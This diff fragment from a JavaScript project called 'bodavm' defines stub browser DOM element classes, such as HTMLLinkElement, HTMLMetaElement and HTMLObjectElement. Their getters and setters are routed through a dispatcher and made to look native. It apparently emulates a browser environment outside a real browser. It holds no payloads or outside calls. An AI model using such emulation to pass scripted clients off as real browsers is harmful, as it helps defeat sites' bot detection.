+ configurable: true, + enumerable: true, + get: function type() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLLIElement'].prototype, "HTMLLIElement", "type_get", arguments); + }, + set: function type() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLLIElement'].prototype, "HTMLLIElement", "type_set", arguments); + } +}, 'prototype'); +// HTMLLinkElement对象 + +bodavm.memory.globalobj['HTMLLinkElement'] = function HTMLLinkElement() { + console.log_copy('HTMLLinkElement 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof HTMLLinkElement)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLLinkElement'], "HTMLLinkElement"); +bodavm.memory.globalobj['HTMLLinkElement'].prototype.__proto__ = bodavm.memory.globalobj['HTMLElement'].prototype; +bodavm.memory.globalobj['HTMLLinkElement'].__proto__ = bodavm.memory.globalobj['HTMLElement']; +bodavm.toolsFunc.defineProperty('HTMLLinkElement', "disabled", { + configurable: true, + enumerable: true, + get: function disabled() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLLinkElement'].prototype, "HTMLLinkElement", "disabled_get", arguments); + }, + set: function disabled() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLLinkElement'].prototype, "HTMLLinkElement", "disabled_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLLinkElement', "href", { + configurable: true, + enumerable: true, + get: function href() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLLinkElement'].prototype, "HTMLLinkElement", "href_get", arguments); + }, + set: function href() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLLinkElement'].prototype, "HTMLLinkElement", "href_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLLinkElement', "crossOrigin", { + configurable: true, + enumerable: true, + get: function crossOrigin() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLLinkElement'].prototype, "HTMLLinkElement", "crossOrigin_get", arguments); + }, + set: function crossOrigin() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLLinkElement'].prototype, "HTMLLinkElement", "crossOrigin_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLLinkElement', "rel", { + configurable: true, + enumerable: true, + get: function rel() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLLinkElement'].prototype, "HTMLLinkElement", "rel_get", arguments); + }, + set: function rel() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLLinkElement'].prototype, "HTMLLinkElement", "rel_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLLinkElement', "relList", { + configurable: true, + enumerable: true, + get: function relList() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLLinkElement'].prototype, "HTMLLinkElement", "relList_get", arguments); + }, + set: function relList() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLLinkElement'].prototype, "HTMLLinkElement", "relList_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLLinkElement', "media", { + configurable: true, + enumerable: true, + get: function media() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLLinkElement'].prototype, "HTMLLinkElement", "media_get", arguments); + }, + set: function media() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLLinkElement'].prototype, "HTMLLinkElement", "media_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLLinkElement', "hreflang", { + configurable: true, + enumerable: true, + get: function hreflang() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLLinkElement'].prototype, "HTMLLinkElement", "hreflang_get", arguments); + }, + set: function hreflang() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLLinkElement'].prototype, "HTMLLinkElement", "hreflang_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLLinkElement', "type", { + configurable: true, + enumerable: true, + get: function type() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLLinkElement'].prototype, "HTMLLinkElement", "type_get", arguments); + }, + set: function type() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLLinkElement'].prototype, "HTMLLinkElement", "type_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLLinkElement', "as", { + configurable: true, + enumerable: true, + get: function as() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLLinkElement'].prototype, "HTMLLinkElement", "as_get", arguments); + }, + set: function as() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLLinkElement'].prototype, "HTMLLinkElement", "as_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLLinkElement', "referrerPolicy", { + configurable: true, + enumerable: true, + get: function referrerPolicy() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLLinkElement'].prototype, "HTMLLinkElement", "referrerPolicy_get", arguments); + }, + set: function referrerPolicy() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLLinkElement'].prototype, "HTMLLinkElement", "referrerPolicy_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLLinkElement', "sizes", { + configurable: true, + enumerable: true, + get: function sizes() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLLinkElement'].prototype, "HTMLLinkElement", "sizes_get", arguments); + }, + set: function sizes() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLLinkElement'].prototype, "HTMLLinkElement", "sizes_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLLinkElement', "imageSrcset", { + configurable: true, + enumerable: true, + get: function imageSrcset() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLLinkElement'].prototype, "HTMLLinkElement", "imageSrcset_get", arguments); + }, + set: function imageSrcset() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLLinkElement'].prototype, "HTMLLinkElement", "imageSrcset_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLLinkElement', "imageSizes", { + configurable: true, + enumerable: true, + get: function imageSizes() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLLinkElement'].prototype, "HTMLLinkElement", "imageSizes_get", arguments); + }, + set: function imageSizes() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLLinkElement'].prototype, "HTMLLinkElement", "imageSizes_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLLinkElement', "charset", { + configurable: true, + enumerable: true, + get: function charset() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLLinkElement'].prototype, "HTMLLinkElement", "charset_get", arguments); + }, + set: function charset() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLLinkElement'].prototype, "HTMLLinkElement", "charset_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLLinkElement', "rev", { + configurable: true, + enumerable: true, + get: function rev() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLLinkElement'].prototype, "HTMLLinkElement", "rev_get", arguments); + }, + set: function rev() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLLinkElement'].prototype, "HTMLLinkElement", "rev_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLLinkElement', "target", { + configurable: true, + enumerable: true, + get: function target() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLLinkElement'].prototype, "HTMLLinkElement", "target_get", arguments); + }, + set: function target() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLLinkElement'].prototype, "HTMLLinkElement", "target_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLLinkElement', "sheet", { + configurable: true, + enumerable: true, + get: function sheet() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLLinkElement'].prototype, "HTMLLinkElement", "sheet_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLLinkElement', "integrity", { + configurable: true, + enumerable: true, + get: function integrity() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLLinkElement'].prototype, "HTMLLinkElement", "integrity_get", arguments); + }, + set: function integrity() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLLinkElement'].prototype, "HTMLLinkElement", "integrity_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLLinkElement', "fetchPriority", { + configurable: true, + enumerable: true, + get: function fetchPriority() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLLinkElement'].prototype, "HTMLLinkElement", "fetchPriority_get", arguments); + }, + set: function fetchPriority() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLLinkElement'].prototype, "HTMLLinkElement", "fetchPriority_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLLinkElement', "blocking", { + configurable: true, + enumerable: true, + get: function blocking() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLLinkElement'].prototype, "HTMLLinkElement", "blocking_get", arguments); + }, + set: function blocking() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLLinkElement'].prototype, "HTMLLinkElement", "blocking_set", arguments); + } +}, 'prototype'); +// HTMLMapElement对象 + +bodavm.memory.globalobj['HTMLMapElement'] = function HTMLMapElement() { + console.log_copy('HTMLMapElement 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof HTMLMapElement)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLMapElement'], "HTMLMapElement"); +bodavm.memory.globalobj['HTMLMapElement'].prototype.__proto__ = bodavm.memory.globalobj['HTMLElement'].prototype; +bodavm.memory.globalobj['HTMLMapElement'].__proto__ = bodavm.memory.globalobj['HTMLElement']; +bodavm.toolsFunc.defineProperty('HTMLMapElement', "name", { + configurable: true, + enumerable: true, + get: function name() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMapElement'].prototype, "HTMLMapElement", "name_get", arguments); + }, + set: function name() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMapElement'].prototype, "HTMLMapElement", "name_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLMapElement', "areas", { + configurable: true, + enumerable: true, + get: function areas() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMapElement'].prototype, "HTMLMapElement", "areas_get", arguments); + }, + set: undefined +}, 'prototype'); +// HTMLMarqueeElement对象 + +bodavm.memory.globalobj['HTMLMarqueeElement'] = function HTMLMarqueeElement() { + console.log_copy('HTMLMarqueeElement 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof HTMLMarqueeElement)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLMarqueeElement'], "HTMLMarqueeElement"); +bodavm.memory.globalobj['HTMLMarqueeElement'].prototype.__proto__ = bodavm.memory.globalobj['HTMLElement'].prototype; +bodavm.memory.globalobj['HTMLMarqueeElement'].__proto__ = bodavm.memory.globalobj['HTMLElement']; +bodavm.toolsFunc.defineProperty('HTMLMarqueeElement', "behavior", { + configurable: true, + enumerable: true, + get: function behavior() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMarqueeElement'].prototype, "HTMLMarqueeElement", "behavior_get", arguments); + }, + set: function behavior() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMarqueeElement'].prototype, "HTMLMarqueeElement", "behavior_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLMarqueeElement', "bgColor", { + configurable: true, + enumerable: true, + get: function bgColor() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMarqueeElement'].prototype, "HTMLMarqueeElement", "bgColor_get", arguments); + }, + set: function bgColor() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMarqueeElement'].prototype, "HTMLMarqueeElement", "bgColor_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLMarqueeElement', "direction", { + configurable: true, + enumerable: true, + get: function direction() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMarqueeElement'].prototype, "HTMLMarqueeElement", "direction_get", arguments); + }, + set: function direction() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMarqueeElement'].prototype, "HTMLMarqueeElement", "direction_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLMarqueeElement', "height", { + configurable: true, + enumerable: true, + get: function height() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMarqueeElement'].prototype, "HTMLMarqueeElement", "height_get", arguments); + }, + set: function height() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMarqueeElement'].prototype, "HTMLMarqueeElement", "height_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLMarqueeElement', "hspace", { + configurable: true, + enumerable: true, + get: function hspace() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMarqueeElement'].prototype, "HTMLMarqueeElement", "hspace_get", arguments); + }, + set: function hspace() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMarqueeElement'].prototype, "HTMLMarqueeElement", "hspace_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLMarqueeElement', "loop", { + configurable: true, + enumerable: true, + get: function loop() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMarqueeElement'].prototype, "HTMLMarqueeElement", "loop_get", arguments); + }, + set: function loop() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMarqueeElement'].prototype, "HTMLMarqueeElement", "loop_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLMarqueeElement', "scrollAmount", { + configurable: true, + enumerable: true, + get: function scrollAmount() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMarqueeElement'].prototype, "HTMLMarqueeElement", "scrollAmount_get", arguments); + }, + set: function scrollAmount() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMarqueeElement'].prototype, "HTMLMarqueeElement", "scrollAmount_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLMarqueeElement', "scrollDelay", { + configurable: true, + enumerable: true, + get: function scrollDelay() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMarqueeElement'].prototype, "HTMLMarqueeElement", "scrollDelay_get", arguments); + }, + set: function scrollDelay() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMarqueeElement'].prototype, "HTMLMarqueeElement", "scrollDelay_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLMarqueeElement', "trueSpeed", { + configurable: true, + enumerable: true, + get: function trueSpeed() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMarqueeElement'].prototype, "HTMLMarqueeElement", "trueSpeed_get", arguments); + }, + set: function trueSpeed() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMarqueeElement'].prototype, "HTMLMarqueeElement", "trueSpeed_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLMarqueeElement', "vspace", { + configurable: true, + enumerable: true, + get: function vspace() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMarqueeElement'].prototype, "HTMLMarqueeElement", "vspace_get", arguments); + }, + set: function vspace() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMarqueeElement'].prototype, "HTMLMarqueeElement", "vspace_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLMarqueeElement', "width", { + configurable: true, + enumerable: true, + get: function width() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMarqueeElement'].prototype, "HTMLMarqueeElement", "width_get", arguments); + }, + set: function width() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMarqueeElement'].prototype, "HTMLMarqueeElement", "width_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLMarqueeElement', "start", { + configurable: true, + enumerable: true, + writable: true, + value: function start() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMarqueeElement'].prototype, "HTMLMarqueeElement", "start", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLMarqueeElement', "stop", { + configurable: true, + enumerable: true, + writable: true, + value: function stop() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMarqueeElement'].prototype, "HTMLMarqueeElement", "stop", arguments); + } +}, 'prototype'); +// HTMLMenuElement对象 + +bodavm.memory.globalobj['HTMLMenuElement'] = function HTMLMenuElement() { + console.log_copy('HTMLMenuElement 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof HTMLMenuElement)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLMenuElement'], "HTMLMenuElement"); +bodavm.memory.globalobj['HTMLMenuElement'].prototype.__proto__ = bodavm.memory.globalobj['HTMLElement'].prototype; +bodavm.memory.globalobj['HTMLMenuElement'].__proto__ = bodavm.memory.globalobj['HTMLElement']; +bodavm.toolsFunc.defineProperty('HTMLMenuElement', "compact", { + configurable: true, + enumerable: true, + get: function compact() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMenuElement'].prototype, "HTMLMenuElement", "compact_get", arguments); + }, + set: function compact() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMenuElement'].prototype, "HTMLMenuElement", "compact_set", arguments); + } +}, 'prototype'); +// HTMLMetaElement对象 + +bodavm.memory.globalobj['HTMLMetaElement'] = function HTMLMetaElement() { + console.log_copy('HTMLMetaElement 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof HTMLMetaElement)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLMetaElement'], "HTMLMetaElement"); +bodavm.memory.globalobj['HTMLMetaElement'].prototype.__proto__ = bodavm.memory.globalobj['HTMLElement'].prototype; +bodavm.memory.globalobj['HTMLMetaElement'].__proto__ = bodavm.memory.globalobj['HTMLElement']; +bodavm.toolsFunc.defineProperty('HTMLMetaElement', "name", { + configurable: true, + enumerable: true, + get: function name() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMetaElement'].prototype, "HTMLMetaElement", "name_get", arguments); + }, + set: function name() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMetaElement'].prototype, "HTMLMetaElement", "name_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLMetaElement', "httpEquiv", { + configurable: true, + enumerable: true, + get: function httpEquiv() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMetaElement'].prototype, "HTMLMetaElement", "httpEquiv_get", arguments); + }, + set: function httpEquiv() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMetaElement'].prototype, "HTMLMetaElement", "httpEquiv_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLMetaElement', "content", { + configurable: true, + enumerable: true, + get: function content() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMetaElement'].prototype, "HTMLMetaElement", "content_get", arguments); + }, + set: function content() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMetaElement'].prototype, "HTMLMetaElement", "content_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLMetaElement', "media", { + configurable: true, + enumerable: true, + get: function media() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMetaElement'].prototype, "HTMLMetaElement", "media_get", arguments); + }, + set: function media() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMetaElement'].prototype, "HTMLMetaElement", "media_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLMetaElement', "scheme", { + configurable: true, + enumerable: true, + get: function scheme() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMetaElement'].prototype, "HTMLMetaElement", "scheme_get", arguments); + }, + set: function scheme() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMetaElement'].prototype, "HTMLMetaElement", "scheme_set", arguments); + } +}, 'prototype'); +// HTMLMeterElement对象 + +bodavm.memory.globalobj['HTMLMeterElement'] = function HTMLMeterElement() { + console.log_copy('HTMLMeterElement 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof HTMLMeterElement)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLMeterElement'], "HTMLMeterElement"); +bodavm.memory.globalobj['HTMLMeterElement'].prototype.__proto__ = bodavm.memory.globalobj['HTMLElement'].prototype; +bodavm.memory.globalobj['HTMLMeterElement'].__proto__ = bodavm.memory.globalobj['HTMLElement']; +bodavm.toolsFunc.defineProperty('HTMLMeterElement', "value", { + configurable: true, + enumerable: true, + get: function value() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMeterElement'].prototype, "HTMLMeterElement", "value_get", arguments); + }, + set: function value() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMeterElement'].prototype, "HTMLMeterElement", "value_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLMeterElement', "min", { + configurable: true, + enumerable: true, + get: function min() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMeterElement'].prototype, "HTMLMeterElement", "min_get", arguments); + }, + set: function min() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMeterElement'].prototype, "HTMLMeterElement", "min_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLMeterElement', "max", { + configurable: true, + enumerable: true, + get: function max() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMeterElement'].prototype, "HTMLMeterElement", "max_get", arguments); + }, + set: function max() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMeterElement'].prototype, "HTMLMeterElement", "max_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLMeterElement', "low", { + configurable: true, + enumerable: true, + get: function low() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMeterElement'].prototype, "HTMLMeterElement", "low_get", arguments); + }, + set: function low() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMeterElement'].prototype, "HTMLMeterElement", "low_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLMeterElement', "high", { + configurable: true, + enumerable: true, + get: function high() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMeterElement'].prototype, "HTMLMeterElement", "high_get", arguments); + }, + set: function high() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMeterElement'].prototype, "HTMLMeterElement", "high_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLMeterElement', "optimum", { + configurable: true, + enumerable: true, + get: function optimum() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMeterElement'].prototype, "HTMLMeterElement", "optimum_get", arguments); + }, + set: function optimum() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMeterElement'].prototype, "HTMLMeterElement", "optimum_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLMeterElement', "labels", { + configurable: true, + enumerable: true, + get: function labels() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMeterElement'].prototype, "HTMLMeterElement", "labels_get", arguments); + }, + set: undefined +}, 'prototype'); +// HTMLModElement对象 + +bodavm.memory.globalobj['HTMLModElement'] = function HTMLModElement() { + console.log_copy('HTMLModElement 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof HTMLModElement)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLModElement'], "HTMLModElement"); +bodavm.memory.globalobj['HTMLModElement'].prototype.__proto__ = bodavm.memory.globalobj['HTMLElement'].prototype; +bodavm.memory.globalobj['HTMLModElement'].__proto__ = bodavm.memory.globalobj['HTMLElement']; +bodavm.toolsFunc.defineProperty('HTMLModElement', "cite", { + configurable: true, + enumerable: true, + get: function cite() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLModElement'].prototype, "HTMLModElement", "cite_get", arguments); + }, + set: function cite() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLModElement'].prototype, "HTMLModElement", "cite_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLModElement', "dateTime", { + configurable: true, + enumerable: true, + get: function dateTime() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLModElement'].prototype, "HTMLModElement", "dateTime_get", arguments); + }, + set: function dateTime() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLModElement'].prototype, "HTMLModElement", "dateTime_set", arguments); + } +}, 'prototype'); +// HTMLObjectElement对象 + +bodavm.memory.globalobj['HTMLObjectElement'] = function HTMLObjectElement() { + console.log_copy('HTMLObjectElement 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof HTMLObjectElement)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLObjectElement'], "HTMLObjectElement"); +bodavm.memory.globalobj['HTMLObjectElement'].prototype.__proto__ = bodavm.memory.globalobj['HTMLElement'].prototype; +bodavm.memory.globalobj['HTMLObjectElement'].__proto__ = bodavm.memory.globalobj['HTMLElement']; +bodavm.toolsFunc.defineProperty('HTMLObjectElement', "data", { + configurable: true, + enumerable: true, + get: function data() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLObjectElement'].prototype, "HTMLObjectElement", "data_get", arguments); + }, + set: function data() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLObjectElement'].prototype, "HTMLObjectElement", "data_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLObjectElement', "type", { + configurable: true, + enumerable: true, + get: function type() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLObjectElement'].prototype, "HTMLObjectElement", "type_get", arguments); + }, + set: function type() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLObjectElement'].prototype, "HTMLObjectElement", "type_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLObjectElement', "name", { + configurable: true, + enumerable: true, + get: function name() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLObjectElement'].prototype, "HTMLObjectElement", "name_get", arguments); + }, + set: function name() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLObjectElement'].prototype, "HTMLObjectElement", "name_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLObjectElement', "useMap", { + configurable: true, + enumerable: true, + get: function useMap() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLObjectElement'].prototype, "HTMLObjectElement", "useMap_get", arguments); + }, + set: function useMap() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLObjectElement'].prototype, "HTMLObjectElement", "useMap_set", arguments); + } +}, 'prototype'); 